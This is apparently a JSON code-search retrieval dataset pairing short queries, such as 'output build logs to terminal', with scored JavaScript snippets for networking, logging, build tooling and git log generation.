savedRequest.url + '&qt=' + queueTime;\n\n console.log(' Replaying', requestUrl);\n\n fetch(requestUrl).then(function (response) {\n if (response.status < 400) {\n // If sending the /collect request was successful, then remove it from the IndexedDB.\n getAnaStore('offana', 'readwrite').delete(savedRequest.url);\n console.log(' Replaying succeeded.');\n } else {\n // This will be triggered if, e.g., Google Analytics returns a HTTP 50x response.\n // The request will be replayed the next time the service worker starts up.\n console.error(' Replaying failed:', response);\n }\n }).catch(function (error) {\n // This will be triggered if the network is still down. The request will be replayed again\n // the next time the service worker starts up.\n console.error(' Replaying failed:', error);\n });\n }\n });\n }\n };\n}", "title": "" }, { "docid": "c1bb114216361614ca8dcbd43fe4fb38", "score": "0.4930123", "text": "pingServerFunction() {\n store.dispatch(pingServer({url: Constants.ping}));\n const { isConnected, actionQueue, isServerOnline } = store.getState().connection;\n // Once the app connects, dispatch all requests\n if (isConnected && isServerOnline && actionQueue.length > 0) {\n store.dispatch(dispatchActionQueueElt({elts: actionQueue}));\n }\n }", "title": "" }, { "docid": "55a1e803770f288deb2d7fffe9bd43f0", "score": "0.4929095", "text": "static listenForRestart() {\n UI.messageModal('Restart', 'HashBrown is restarting...', false);\n\n function poke() {\n $.ajax({\n type: 'get',\n url: '/',\n success: () => {\n location.reload();\n },\n error: () => {\n poke();\n }\n });\n }\n\n poke();\n }", "title": "" }, { "docid": "44730b2171b176a2b7864ee939d661e1", "score": "0.49247843", "text": "function autoMatch(){\n // auto matchmaking\n console.log(\"auto matchmaking player\");\n socket.emit(\"autoMatch\");\n}", "title": "" }, { "docid": "263afcf78cd927b8b9d42f877c15ed6e", "score": "0.49235442", "text": "reconnectPlayer() {\n idleHelpers.removeListeners();\n\n this.socket.connect();\n\n this.clearBoard(true, false, false, false);\n }", "title": "" }, { "docid": "4e23d2c051c053b3a77af91bc50b6f9d", "score": "0.4919843", "text": "static warmConnections() {}", "title": "" }, { "docid": "d14174bdb4253a3690271168d9f05f2b", "score": "0.49192294", "text": "watchEvents(){\r\n\r\n const local = this.localPlayer;\r\n const player = local.player;\r\n ['pos','score','matrix'].forEach(property =>{\r\n player.events.listen(property, () => {\r\n this.send({\r\n type: 'state-update',\r\n fragment: 'player',\r\n state: [property, player[property]],\r\n });\r\n });\r\n });\r\n\r\n const board = local.board;\r\n ['matrix'].forEach(property =>{\r\n board.events.listen(property, () => {\r\n this.send({\r\n type: 'state-update',\r\n fragment: 'board',\r\n state: [property, board[property]],\r\n });\r\n });\r\n });\r\n}", "title": "" }, { "docid": "73cb95edb8881308a694ce79a49333cd", "score": "0.49136925", "text": "nextServer(){\n let randomTime = Math.floor(Math.random() * 10);\n\n let server = this._getLeastConnectedServer();\n\n this._simulateConnection(server, randomTime); \n }", "title": "" }, { "docid": "3137f20f4a9e77ff19b3dc3bcfa7f460", "score": "0.49133557", "text": "function keepAlive(){\n\t//\tOnly if this node has upstream servers - not a top level introducer\n\tif (config.servers.length > 0){\n\t\tvar message = JSON.stringify({c: 'ka', u: config.username, h: host[0]});\n\t\t//console.log('Sending keep-alive');\n\t\t//\n\t\tfor (var i = 0; i < config.servers.length; i++)\n\t\t\tudpSend(message, config.servers[i], udpport);\n\t\t//\n\t\tkeepAliveTimer = setTimeout(function(){\n\t\t\tkeepAlive();\n\t\t}, config.keepAliveFreq);\n\t}\n}", "title": "" } ]
eb79405d87bb701b91c97e6881883bc5
output build logs to terminal
[ { "docid": "df2e1a7b8b1fafa4dc60fa9f0984b421", "score": "0.0", "text": "function bundle() {\n return b.bundle()\n // log errors if they happen\n .on('error', gutil.log.bind(gutil, 'Browserify Error'))\n .pipe(source('bundle.js'))\n .pipe(gulp.dest('./js'))\n .pipe(reload({\n stream: true,\n once: true\n }));\n}", "title": "" } ]
[ { "docid": "d6154a03f675f25be86e1b1d179ddb3b", "score": "0.62586254", "text": "async function logBuildOutput(stream) {\n return new Promise((resolve, reject) => {\n stream.on('data', (data) => console.log(data));\n stream.on('error', (err) => reject(err));\n stream.on('end', () => resolve());\n })\n}", "title": "" }, { "docid": "b105785f5f4981ae157430a134222896", "score": "0.5896979", "text": "renderLog()\n {\n var res=\"\";\n var status;\n var lastNewline=\"\\n\";\n for (var x=0,l=this.fileStatuses.length;x<l;x++)\n {\n status=chalk.magenta(\"working...\");\n if (this.fileStatuses[x].status)\n {\n status=this.fileStatuses[x].status;\n }\n\n if (x==l-1)\n {\n lastNewline=\"\";\n }\n\n res+=`${chalk.yellow.dim(x+1)} ${status} ${this.fileStatuses[x].base}${lastNewline}`;\n }\n\n logUpdate(res);\n }", "title": "" }, { "docid": "dd5072cf4acb2b70c9544408f7d94e03", "score": "0.58703744", "text": "_log() {\n\n var text = _.reduce(arguments, function(lines, data) {\n lines.push(!_.isEmpty(data) ? data.toString() : 'NONE');\n return lines;\n }, []).join(' ');\n\n // Immediately output the message in the console.\n //console.log(text);\n\n // Append the text to the master log.\n this._logText += text + '\\n';\n }", "title": "" }, { "docid": "06c64f62d1f58117013fc7ef08bec208", "score": "0.5754911", "text": "function logOutput() {\n var args = Array.prototype.slice.call(arguments);\n\n var output = args.reduce(function(prev, curr) {\n return format(prev) + ' ' + format(curr);\n });\n\n window.output.appendLine(output);\n}", "title": "" }, { "docid": "ae7a68fc1bf86455f64889b15252f8a8", "score": "0.5700274", "text": "function watchBuild() {\n request('GET', '/build/status?start=' + lines.length, function(err, result) {\n if (err) {\n exitCode = -1;\n addOutput(['Failed to watch build: ' + err.toString()]);\n return endBuild();\n }\n\n exitCode = result.exitCode;\n addOutput(result.lines);\n\n if (result.running) {\n watchBuild();\n } else {\n endBuild();\n }\n });\n}", "title": "" }, { "docid": "31100ab0bb8d81d66d34f5c5b8c0f810", "score": "0.5668837", "text": "function printBuildUsage(client) {\n\tclient.printToChat('Usage: -build [building]');\n\tprintBuildList(client);\n}", "title": "" }, { "docid": "139d830e1c99ae4ea8ad4a15f26f4217", "score": "0.56193477", "text": "function ConsoleLogOnBuildWebpackPlugin() {\n\n }", "title": "" }, { "docid": "1219701f694d3566ff230800dacd2073", "score": "0.55932677", "text": "function writeToLog() {\n fs.appendFile(\"log.txt\", `${command}, ${input}\\n`, function (err) {\n if (err) {\n console.log(err);\n } else {\n console.log(\"\\n.........Content Added!.........\");\n }\n });\n}", "title": "" }, { "docid": "cebc08dc2f887898274cb88bbbaec870", "score": "0.5579844", "text": "writeLog(output, type) {\n // split buffered lines\n const lines = output.split('\\n')\n for (let line of lines) {\n // make Pandoc line/column specifications into links\n line = line.replace(/(line (\\d+) column (\\d+))/g,\n '<a href=\"#\" data-ref=\"source\" data-line=\"$2\" data-column=\"$3\">$1</a>')\n\n // make TeX line specification into link\n line = line.replace(/^(l\\.(\\d+))/,\n '<a href=\"#\" data-ref=\"tex\" data-line=\"$2\">$1</a>')\n\n // add output line element\n const linediv = document.createElement('p')\n linediv.innerHTML = line\n linediv.classList.add(type)\n this.logText.appendChild(linediv)\n\n // mark PandocPdfProcessor error message\n if (line.startsWith('Could not run Pandoc')) {\n linediv.classList.add('error')\n this.bToggleLog.classList.add('pandoc-failure')\n }\n\n // mark Pandoc & pandoc-citeproc warnings\n if (line.startsWith('[WARNING]') || line.startsWith('pandoc-citeproc:')) {\n linediv.classList.add('warning')\n this.bToggleLog.classList.add('pandoc-warning')\n }\n\n // mark Latexmk warnings\n if (line.startsWith(' Latex ')) {\n linediv.classList.add('warning')\n this.bToggleLog.classList.add('pandoc-warning')\n }\n\n // mark LaTeX error messages\n if ((line.startsWith('! ')) || line.startsWith('l.')) {\n linediv.classList.add('error')\n this.bToggleLog.classList.add('pandoc-failure')\n }\n }\n }", "title": "" }, { "docid": "e95996d79d5d26d4ef8e60b8998b6b5d", "score": "0.55710316", "text": "function consoleLog(output) {\n\t\tif (DEBUG_ON !== true) return;\n\t\tconsole.log(output);\n\t}", "title": "" }, { "docid": "76a28d3183501a719b3b526ff126d36a", "score": "0.5561466", "text": "log (str) {\n try {\n shell.cd(`${__dirname.toString()}`)\n shell.exec(`echo \"${str}\" >> ${__dirname.toString()}/../html/logs/liveness.txt`)\n console.log(str)\n } catch (err) {\n console.log('Error in liveness.js/log(): ', err)\n }\n }", "title": "" }, { "docid": "f17bbbb64a76a8e4d141cd9bdb5ccf31", "score": "0.5558542", "text": "function WriteLogEntries() {\n if (logFileName) {\n // If this fails the likely causes are:\n // 1. You root path to this project is too long.\n // 2. The root test description set in the call to `describe()` is too long.\n // 3. You don't have permision to write to the `./results/cypress/` folder\n cy.writeFile(logFileName, logEntries, { flag: 'a' })\n .then(() => { logEntries = '' })\n }\n }", "title": "" }, { "docid": "db8b38998ae5d46de28a9cdde9d72fa6", "score": "0.552184", "text": "async uploadBuildLogs () {\n if (this.manifest.uploadGraphBuildLogs) {\n await this.uploadFileToS3({\n filePath: this.manifest.buildLogFile,\n s3Uri: `${this.manifest.s3UploadPath}/otp-build.log`\n })\n }\n }", "title": "" }, { "docid": "132eee11c8a9ef2cdb43f1957b7ec728", "score": "0.5514008", "text": "function _log() {\n const start = utils.getTimestamp() + \": \";\n var args = Array.prototype.slice.call(arguments);\n args.unshift(start);\n console.log.apply(this, args);\n logFile.write(util.format.apply(null, args) + '\\n');\n}", "title": "" }, { "docid": "7583ecabfac150280c63742bed5545f2", "score": "0.55089784", "text": "function showLog() {\n let path = log.transports.file.findLogPath();\n shell.openPath(path);\n}", "title": "" }, { "docid": "b0304a658c54b951523ac1af409aa0cc", "score": "0.55031615", "text": "function debugLogOutput(log){\n\tconsole.log('\\n--------------');\n\tconsole.log(log);\n\tconsole.log('--------------');\n}", "title": "" }, { "docid": "cd891285d952372d9cff709368104521", "score": "0.54823416", "text": "static log(message) {\n // message = require(\"process\").pid + \": \" + message;\n // console.log(message);\n // require('fs').writeFileSync('C:\\\\Git\\\\log.txt', message + '\\r\\n', { flag: 'as' });\n }", "title": "" }, { "docid": "76cf384d705c9dcf396bb8e08ff55f2e", "score": "0.5474582", "text": "function logger() {\n \n logged.push('');\n \n fs.appendFile(\"log.txt\",logged,function (err) {\n\n if (err) {\n return console.log(error);\n }\n console.log('\\ncommand logged.')\n\n });\n}", "title": "" }, { "docid": "7fc66037a92cd57cb11f44a0c9f8c9d6", "score": "0.54646915", "text": "function printCommandLineOutput(err, stdout) {\n util.log(stdout);\n}", "title": "" }, { "docid": "e6eaccff2b874cf7b6dec3d9ddbab497", "score": "0.5418878", "text": "function addOutput(addedLines) {\n lines = lines.concat(addedLines);\n\n var text = lines.join('\\n')\n .replace(/&/g, '&amp;')\n .replace(/\"/g, '&quot;')\n .replace(/'/g, '&#39;')\n .replace(/</g, '&lt;')\n .replace(/>/g, '&gt;')\n .trim();\n\n var html = '<span id=\"command\">$ make</span>\\n' + text;\n\n if (exitCode !== null) {\n if (exitCode === 0) {\n html += '\\n<span class=\"build-success\">Build successful</span>';\n } else {\n html += '\\n<span class=\"build-failure\">Build failed</span>';\n }\n }\n\n var outputElement = document.getElementById('output');\n outputElement.innerHTML = html;\n outputElement.scrollTop = outputElement.scrollHeight;\n}", "title": "" }, { "docid": "44648ea16b92cbd381811462c600016b", "score": "0.5401522", "text": "log(...args) {\n if (this.verbose) console.log(\"[Assemble-Lite] \", ...args);\n }", "title": "" }, { "docid": "ac14064c3694293e5b91268958455a41", "score": "0.5392588", "text": "function printLine() {\n grunt.log.writeln(new Array(81).join('-'));\n }", "title": "" }, { "docid": "57a115eeadae15c85cad86f89b98ccf1", "score": "0.5391762", "text": "function log() {\n\t return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n\t}", "title": "" }, { "docid": "c5d611ab8874007ff182995431c9a283", "score": "0.538105", "text": "_startLogging() {\n if (this.isFullRun()) {\n const humanConsole = this._options.humanConsole;\n const humanLogFile = path.resolve(Dirs.theOne.LOG_DIR, 'general.txt');\n const jsonLogFile = path.resolve(Dirs.theOne.LOG_DIR, 'general.json');\n\n // Second argument to both of these constructors is a boolean `useConsole`\n // which indicates (when `true`) that the sink in question should also\n // write to the console.\n new FileSink(jsonLogFile, !humanConsole);\n new HumanSink(humanLogFile, humanConsole);\n\n HumanSink.patchConsole();\n } else {\n new HumanSink(null, true);\n }\n }", "title": "" }, { "docid": "926830dcbf7af3cbc1b2701144801ef7", "score": "0.5353205", "text": "function spawnAndLog(command, args, options, log) {\n sendToOutputLog(log, `Executing command: ${command} ${args}\\n`);\n const child = spawn(command, args, options);\n printProcessOutputToHtml(child, log);\n}", "title": "" }, { "docid": "2f4322e7e89409df93bab3f0ad958cb3", "score": "0.5329778", "text": "function writeLogHeader() {\n const queueTimeMin = Math.round((Date.now() - build.queuedAt) / (1000*60));\n\n var startedMessage =\n \"----------------------------------------------\\n\" +\n \" Cimpler build started at: \" + Date() + \" time in queue: \" + queueTimeMin + \"min \\n\" +\n \"----------------------------------------------\\n\";\n\n logBuildStarted(startedMessage);\n }", "title": "" }, { "docid": "ea87d5e4fde33bceb9930b800e4b77be", "score": "0.53246063", "text": "function log(logContents){\n console.log(logContents);\n}", "title": "" }, { "docid": "ace4daf91694a65f600d46fe4dc63c9c", "score": "0.53129154", "text": "function log() {\n\t\t return stream.write(util.format.apply(util, arguments) + '\\n');\n\t\t}", "title": "" }, { "docid": "040ed974ed5a75a3917451b62b02f0e5", "score": "0.5310725", "text": "function log() {\n\tvar argv = [].slice.call(arguments);\n\tconsole.log(argv.shift().green + ' ' + argv.map(format).join(', '));\n}", "title": "" }, { "docid": "21a04089aa08eb6bd0cabf8df9d7eaac", "score": "0.530383", "text": "finish() {\n const buildTool = _chalk.green('gulp');\n const buildCommand = _chalk.yellow('build');\n const buildOnChangeCommand = _chalk.yellow('watch-build');\n const testCommand = _chalk.yellow('test-unit');\n const testOnChangeCommand = _chalk.yellow('watch-test-unit');\n const watchTestCommand = _chalk.yellow('monitor:unit');\n const formatCommand = _chalk.yellow('format');\n const lintCommand = _chalk.yellow('lint');\n const tasksCommand = _chalk.yellow('--tasks');\n const docsCommand = _chalk.yellow('docs');\n\n this.log(_consts.SEPARATOR);\n [\n ` `,\n `--------------------------------------------------------------------------------`,\n ` Your Javascript libary project has been created, and is ready for use. Gulp`,\n ` tasks have been provided for common development tasks such as:`,\n ``,\n ` Running all unit tests:`,\n ` ${buildTool} ${testCommand}`,\n ` Test files on change:`,\n ` ${buildTool} ${testOnChangeCommand}`,\n ``,\n ` Formatting and linting files:`,\n ` ${buildTool} ${formatCommand}`,\n ` ${buildTool} ${lintCommand}`,\n ``,\n ` Several other useful tasks have been packaged up with the Gulpfile. You can`,\n ` review them all by running:`,\n ` ${buildTool} ${tasksCommand}`,\n ``,\n `--------------------------------------------------------------------------------`,\n ``\n ].forEach((line) => this.log(line));\n }", "title": "" }, { "docid": "ae730e8199d4cd14e5f467e529296c89", "score": "0.5302325", "text": "function logCommand() {\n\n // structure the string that equates to the command that was issued\n if (commandArgument) {\n var tempString = \"COMMAND: node liri.js \" + command + \" '\" + commandArgument + \"'\";\n } else {\n var tempString = \"COMMAND: node liri.js \" + command;\n }\n\n // append the command to log.txt followed by new line escape\n fs.appendFile('log.txt', tempString + '\\n', function(err) {\n \n // if there is an error log that then end function\n if (err) return console.log('Error logging command to file: ' + err);\n \n // end the appendFile function\n });\n\n// end the logCommand function\n}", "title": "" }, { "docid": "b2152820ebb52b619473e31e65332e71", "score": "0.52849454", "text": "function log(...args) {\n return process.stderr.write(util.format(...args) + \"\\n\");\n }", "title": "" }, { "docid": "e788a01b68294bb562cdf36001ab2ed7", "score": "0.5282836", "text": "function _log(){\n\n\tconsole.log('\\n==============================');\n\tconsole.log('App: ' + _config.app.name);\n\tconsole.log('Started on port: ' + _config.app.port);\n\tconsole.log('Environment: ' + _app.get('env'));\n\tconsole.log('==============================\\n');\n\n}", "title": "" }, { "docid": "c1503dda7a0c1251d74699f036ead4b5", "score": "0.52540827", "text": "function reportBuildStatus({ stats }) {\n\tconsole.info(chalk.green('==> Compiled successfully.\\n'));\n\n\tconsole.info('File sizes after gzip:\\n');\n\tprintFileSizesAfterBuild(stats, { root: paths.appDist, sizes: {} }, paths.appDist);\n}", "title": "" }, { "docid": "b92614d505bc1ae8fe347d671cffada2", "score": "0.5244372", "text": "function log(...args) {\n\t\t\treturn process.stderr.write(util.format(...args) + '\\n');\n\t\t}", "title": "" }, { "docid": "fd341c69f4bacc5418a0340726646fb2", "score": "0.52351844", "text": "function log() {\n var messages = [];\n\n for (var _i = 0; _i < arguments.length; _i++) {\n messages[_i] = arguments[_i];\n }\n\n if (_Options__WEBPACK_IMPORTED_MODULE_1__[\"options\"].verbose) {\n if (console) {\n console.log.apply(console, Object(tslib__WEBPACK_IMPORTED_MODULE_0__[\"__spread\"])(messages));\n }\n }\n }", "title": "" }, { "docid": "645dca6a5d7a9a07acbabe8b104863e5", "score": "0.5233604", "text": "function testLog(...args) {\n const rendered = args.map(arg =>\n typeof arg === 'string' ? arg : JSON.stringify(arg, abbreviateReviver),\n );\n ephemeral.log.push(rendered.join(''));\n }", "title": "" }, { "docid": "e025fe69bb95829068389eb93647109a", "score": "0.5232357", "text": "function log() {\n if (__DEBUG__) {\n for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {\n args[_key] = arguments[_key];\n }\n\n displayBuffer.msgs = displayBuffer.msgs.concat([].concat(args, ['\\n']));\n }\n}", "title": "" }, { "docid": "e025fe69bb95829068389eb93647109a", "score": "0.5232357", "text": "function log() {\n if (__DEBUG__) {\n for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {\n args[_key] = arguments[_key];\n }\n\n displayBuffer.msgs = displayBuffer.msgs.concat([].concat(args, ['\\n']));\n }\n}", "title": "" }, { "docid": "e025fe69bb95829068389eb93647109a", "score": "0.5232357", "text": "function log() {\n if (__DEBUG__) {\n for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {\n args[_key] = arguments[_key];\n }\n\n displayBuffer.msgs = displayBuffer.msgs.concat([].concat(args, ['\\n']));\n }\n}", "title": "" }, { "docid": "5b47d83b6ce6e7e1e5ab44c73260e512", "score": "0.52317", "text": "function logCommandLine(){\r\n\tvar fs = require('fs');\r\n\tif (userQuery === undefined || userQuery === \"\"){\r\n\t\tuserQuery= \"\";\r\n\t}\r\n\tvar commandExecuted = \"-----------------------------Command------------------------------\" + \"\\n\" + \"node liri.js \" + '\"' + firstArgument + '\"' + \" \" + '\"' + userQuery + '\"' + '\\n' +\"-----------------------------Command------------------------------\" + \"\\n\";\r\n\tfs.appendFile(\"log.txt\", commandExecuted, function (err){\r\n\t\tif (err){\r\n\t\t\treturn console.log(err);\r\n\t\t}\r\n\r\n\t});\t\r\n}", "title": "" }, { "docid": "ef0d4b5496906ae68ba10d24579540e7", "score": "0.5231676", "text": "log(text) {\n appConsole.innerHTML += `<p class=\"console--log\">${text}</p>`;\n }", "title": "" }, { "docid": "9be6cba0fead83f1081684d083a43c06", "score": "0.5228497", "text": "function log() {\n\t return stream.write(util.format.apply(util, arguments) + '\\n');\n\t}", "title": "" }, { "docid": "9be6cba0fead83f1081684d083a43c06", "score": "0.5228497", "text": "function log() {\n\t return stream.write(util.format.apply(util, arguments) + '\\n');\n\t}", "title": "" }, { "docid": "9be6cba0fead83f1081684d083a43c06", "score": "0.5228497", "text": "function log() {\n\t return stream.write(util.format.apply(util, arguments) + '\\n');\n\t}", "title": "" }, { "docid": "9be6cba0fead83f1081684d083a43c06", "score": "0.5228497", "text": "function log() {\n\t return stream.write(util.format.apply(util, arguments) + '\\n');\n\t}", "title": "" }, { "docid": "0faa25caf4f50b92e072c8269778a61d", "score": "0.52127975", "text": "function inspectorLog() {\n const stdout = console._stdout;\n console._stdout = nullStream;\n console.log.apply(console, arguments);\n console._stdout = stdout;\n}", "title": "" }, { "docid": "6747f140ea51122d9002778bad4f605e", "score": "0.5189951", "text": "function log() {\n var messages = [];\n for (var _i = 0; _i < arguments.length; _i++) {\n messages[_i] = arguments[_i];\n }\n if (_Options__WEBPACK_IMPORTED_MODULE_1__[\"options\"].verbose) {\n if (console) {\n console.log.apply(console, Object(tslib__WEBPACK_IMPORTED_MODULE_0__[\"__spread\"])(messages));\n }\n }\n}", "title": "" }, { "docid": "2cd4eca7241071efba717e2ee96040c6", "score": "0.5184797", "text": "function log() {\n\t return stream.write(util.format.apply(this, arguments) + '\\n');\n\t}", "title": "" }, { "docid": "2cd4eca7241071efba717e2ee96040c6", "score": "0.5184797", "text": "function log() {\n\t return stream.write(util.format.apply(this, arguments) + '\\n');\n\t}", "title": "" }, { "docid": "2cd4eca7241071efba717e2ee96040c6", "score": "0.5184797", "text": "function log() {\n\t return stream.write(util.format.apply(this, arguments) + '\\n');\n\t}", "title": "" }, { "docid": "2cd4eca7241071efba717e2ee96040c6", "score": "0.5184797", "text": "function log() {\n\t return stream.write(util.format.apply(this, arguments) + '\\n');\n\t}", "title": "" }, { "docid": "47776e91f87adedd0d523f9cbc8f0cda", "score": "0.5176205", "text": "function log(...args) {\n \treturn process.stderr.write(util.format(...args) + '\\n');\n }", "title": "" }, { "docid": "3212a8ec21a5ba447050cea8d1971a6d", "score": "0.517191", "text": "function git_log(){\r\n var gitlog_command=['log'] \r\n // var test_command = \"log --all --numstat --date=short --pretty=format:--%h--%ad--%aN --no-renames\"; \r\n \r\n if (req.body.follow.toString() !== \"false\")\r\n {\r\n gitlog_command = gitlog_command.concat('--follow'); \r\n }\r\n\r\n if (req.body.source.toString() !== \"false\")\r\n {\r\n gitlog_command = gitlog_command.concat('--source'); \r\n }\r\n\r\n if (req.body.fulldiff.toString() !== \"false\")\r\n {\r\n gitlog_command = gitlog_command.concat('--full-dif'); \r\n }\r\n\r\n if (req.body.logsize.toString() !== \"false\")\r\n {\r\n gitlog_command = gitlog_command.concat('--log-size'); \r\n }\r\n\r\n if (req.body.all.toString() !== \"false\")\r\n {\r\n gitlog_command = gitlog_command.concat('--all'); \r\n }\r\n\r\n if (req.body.numstat.toString() !== \"false\")\r\n {\r\n gitlog_command = gitlog_command.concat('--numstat'); \r\n }\r\n\r\n if (req.body.norenames.toString() !== \"false\")\r\n {\r\n gitlog_command = gitlog_command.concat('--no-renames'); \r\n }\r\n\r\n if (req.body.allmatch.toString() !== \"false\")\r\n {\r\n gitlog_command = gitlog_command.concat('--all-match'); \r\n }\r\n\r\n if (req.body.invertgrep.toString() !== \"false\")\r\n {\r\n gitlog_command = gitlog_command.concat('--invert-grep'); \r\n }\r\n\r\n if (req.body.regexpIgnorecase.toString() !== \"false\")\r\n {\r\n gitlog_command = gitlog_command.concat('--regexp-ignore-case'); \r\n }\r\n\r\n if (req.body.basicRegexp.toString() !== \"false\")\r\n {\r\n gitlog_command = gitlog_command.concat('--basic-regexp'); \r\n }\r\n\r\n if (req.body.extendedRegexp.toString() !== \"false\")\r\n {\r\n gitlog_command = gitlog_command.concat('--extended-regexp'); \r\n }\r\n\r\n if (req.body.fixedstrings.toString() !== \"false\")\r\n {\r\n gitlog_command = gitlog_command.concat('--fixed-strings'); \r\n }\r\n\r\n if (req.body.perlRegexp.toString() !== \"false\")\r\n {\r\n gitlog_command = gitlog_command.concat('--perl-regexp'); \r\n }\r\n\r\n if (req.body.removeEmpty.toString() !== \"false\")\r\n {\r\n gitlog_command = gitlog_command.concat('--remove-empty'); \r\n }\r\n\r\n if (req.body.merges.toString() !== \"false\")\r\n {\r\n gitlog_command = gitlog_command.concat('--merges'); \r\n }\r\n\r\n if (req.body.nominParents.toString() !== \"false\")\r\n {\r\n gitlog_command = gitlog_command.concat('--no-min-parents'); \r\n }\r\n\r\n if (req.body.nomaxParents.toString() !== \"false\")\r\n {\r\n gitlog_command = gitlog_command.concat('--no-max-parents'); \r\n }\r\n\r\n if (req.body.firstParent.toString() !== \"false\")\r\n {\r\n gitlog_command = gitlog_command.concat('--first-parent'); \r\n }\r\n\r\n if (req.body.reflog.toString() !== \"false\")\r\n {\r\n gitlog_command = gitlog_command.concat('--reflog'); \r\n }\r\n\r\n if (req.body.alternateRefs.toString() !== \"false\")\r\n {\r\n gitlog_command = gitlog_command.concat('--alternate-refs'); \r\n }\r\n\r\n if (req.body.singleworktree.toString() !== \"false\")\r\n {\r\n gitlog_command = gitlog_command.concat('--single-worktree'); \r\n }\r\n\r\n if (req.body.ignoremissing.toString() !== \"false\")\r\n {\r\n gitlog_command = gitlog_command.concat('--ignore-missing'); \r\n }\r\n\r\n if (req.body.boundary.toString() !== \"false\")\r\n {\r\n gitlog_command = gitlog_command.concat('--boundary'); \r\n }\r\n \r\n if (req.body.optionalParams.toString() !== 'null')\r\n { \r\n gitlog_command = gitlog_command.concat(req.body.optionalParams.split(\" \")); \r\n }\r\n\r\n console.log(gitlog_command)\r\n \r\n // console.log('all:'+req.body.all)\r\n // console.log('numstat:'+req.body.numstat)\r\n // console.log('numstat:'+req.body.norenames)\r\n\r\n var working_dir = '/tmp/project';//linux\r\n // var working_dir = parent+'/download_project';//windows\r\n \r\n let childProcess_gitlog = require('child_process').spawnSync('git', gitlog_command, {\r\n cwd:working_dir, \r\n on: res.status(200).json('Generated git log file to /tmp/project.log')\r\n }); //linux\r\n\r\n var gitlogFile = fs.openSync('/tmp/project.log', 'w'); //linux\r\n console.log(childProcess_gitlog.stdout); \r\n fs.writeFileSync(gitlogFile,childProcess_gitlog.stdout);\r\n \r\n // var gitlogFile = fs.openSync(parent + '\\\\output\\\\project.log', 'w'); //windows\r\n // let childProcess_gitlog = require('child_process').spawnSync('git', command, {\r\n // stdio: [process.stdin, gitlogFile, process.stderr],\r\n // on: res.status(200).json('Generated git log file to /tmp/project.log')\r\n // }); //windows \r\n \r\n fs.closeSync(gitlogFile)\r\n\r\n console.log(\"Retrieve git log success!\");\r\n }", "title": "" }, { "docid": "c939808e2bd3ff01e899db29cace351c", "score": "0.51662254", "text": "function c(msg, level) { // Shortcut for \"console.log\". Saves typing when debugging.\r\n\r\n if(level >= DEBUG_LEVEL) {\r\n var date = new Date();\r\n var current_hour = date.getHours();\r\n message = \"==> (\" + date.getHours() + \":\" + date.getMinutes() + \":\" + date.getSeconds() + \")\" + \": \" + msg;\r\n if(DEBUG_TO_FILE == false) {\r\n console.log(message);\r\n } else {\r\n fs.appendFile(\"./allone-log.txt\", message + \"\\n\", function(err) { });\r\n }\r\n }\r\n}", "title": "" }, { "docid": "8d6c57de39df369282b3872508da0333", "score": "0.51528317", "text": "function log() {\n if (process.env.NODE_ENV !== 'production') {\n var _console;\n\n (_console = console).log.apply(_console, arguments);\n }\n } // catch error", "title": "" }, { "docid": "3cfd93c94b8fd6ba46d986d9d1f55621", "score": "0.51509076", "text": "writing() {\n // This will not match in callback of\n // getBuild so store it here.\n var _this = this;\n var done = this.async();\n\n app.getBuild(this, function (result) {\n var build = _this.templatePath(result);\n\n // if (_this.type === `custom`) {\n // build = path.join(_this.customFolder, result);\n // }\n\n var args = {\n pat: _this.pat,\n tfs: _this.tfs,\n buildJson: build,\n queue: _this.queue,\n target: _this.target,\n botName: _this.botName,\n project: _this.botName\n };\n\n if (util.isDocker(_this.target)) {\n args.dockerHost = _this.dockerHost;\n args.dockerRegistry = _this.dockerRegistry;\n args.dockerRegistryId = _this.dockerRegistryId;\n }\n\n app.run(args, _this, done);\n });\n }", "title": "" }, { "docid": "93e1a37fb68aa3108ae509ee8f76321e", "score": "0.5143723", "text": "function log(text){\n $('#consoleOutput').append('<p>'+text+'</p>')\n }", "title": "" }, { "docid": "a07825792de77257a5d84f92a4ce8c28", "score": "0.51262456", "text": "function logOutput(logText) {\n\tlog.info(logText);\n\tconsole.log(logText);\n}", "title": "" }, { "docid": "299ec425053177a88a2726a1828b9d9c", "score": "0.5123893", "text": "logCall(args) {\n // in bash-compatible & readable form\n // bash-compatible: escape spaces (other characters?)\n // readable: don't break within an argument (<nobr>)\n args = args.map(arg => '<nobr>' + arg.replace(/ /g, '\\\\ ') + '</nobr>')\n this.writeLog(args.join(' '), 'command')\n }", "title": "" }, { "docid": "9ccff1fa3bf13836e0851117cc3a94dd", "score": "0.5123373", "text": "function logger(wut, thelog) {\n\tif (debugmode) console.log(wut);\n\tthelog.write(wut+\"\\n\");\n}", "title": "" }, { "docid": "6855dccff8b7e39298eecb98748d78fe", "score": "0.51224464", "text": "function printLogs() {\n fs.readFile('log.txt', 'utf8', function (error, data) {\n\n if (!error) {\n console.log(data);\n } else {\n console.log(error)\n }\n\n });\n}", "title": "" }, { "docid": "9b77f6e7e27af72d900545112b71fa3a", "score": "0.5120393", "text": "output() {\n const testsRun = this.failures.length + this.successes.length;\n\n if (this.failures.length === 0) {\n gutil.log('Translation tests complete:',\n gutil.colors.green(`Success (${testsRun} checks run)`),\n );\n } else {\n gutil.log('Translation tests complete:',\n gutil.colors.red(`Failed (${testsRun} checks run)`),\n );\n\n const failureGroups = _.groupBy(this.failures, (failure) => failure[1]);\n\n _.forOwn(failureGroups, (failures, file) => {\n gutil.log(gutil.colors.red(`${file}:`));\n\n failures.map((failure) => {\n return gutil.log(failure[0]);\n });\n });\n }\n\n this.successes = this.failures = [];\n }", "title": "" }, { "docid": "ac7301fda18cb7d1988f46788a40db93", "score": "0.5115531", "text": "function doConsoleMessage(message, buildResults, params, cb) {\n message = i18n._(\"\\nDownload URL: \") + buildResults.url;\n if (buildResults.ota_url) {\n message = createMessageWithOtaUrl(message, buildResults);\n }\n doDownload(params, buildResults.url, cb, buildResults, message);\n}", "title": "" }, { "docid": "4dcb697cf77692b63819e5b7ddbf27ba", "score": "0.51134616", "text": "log() {\n\t\t// check enabled\n\t\tif (!this.enabled) {\n\t\t\treturn;\n\t\t}\n\n\t\t// for browser\n\t\tif (typeof this._window !== 'undefined') {\n\t\t\treturn this._window.console.log.apply(this, arguments);\n\t\t}\n\n\t\t// for tests - just collect\n\t\tthis._container.push({\n\t\t\ttime: new 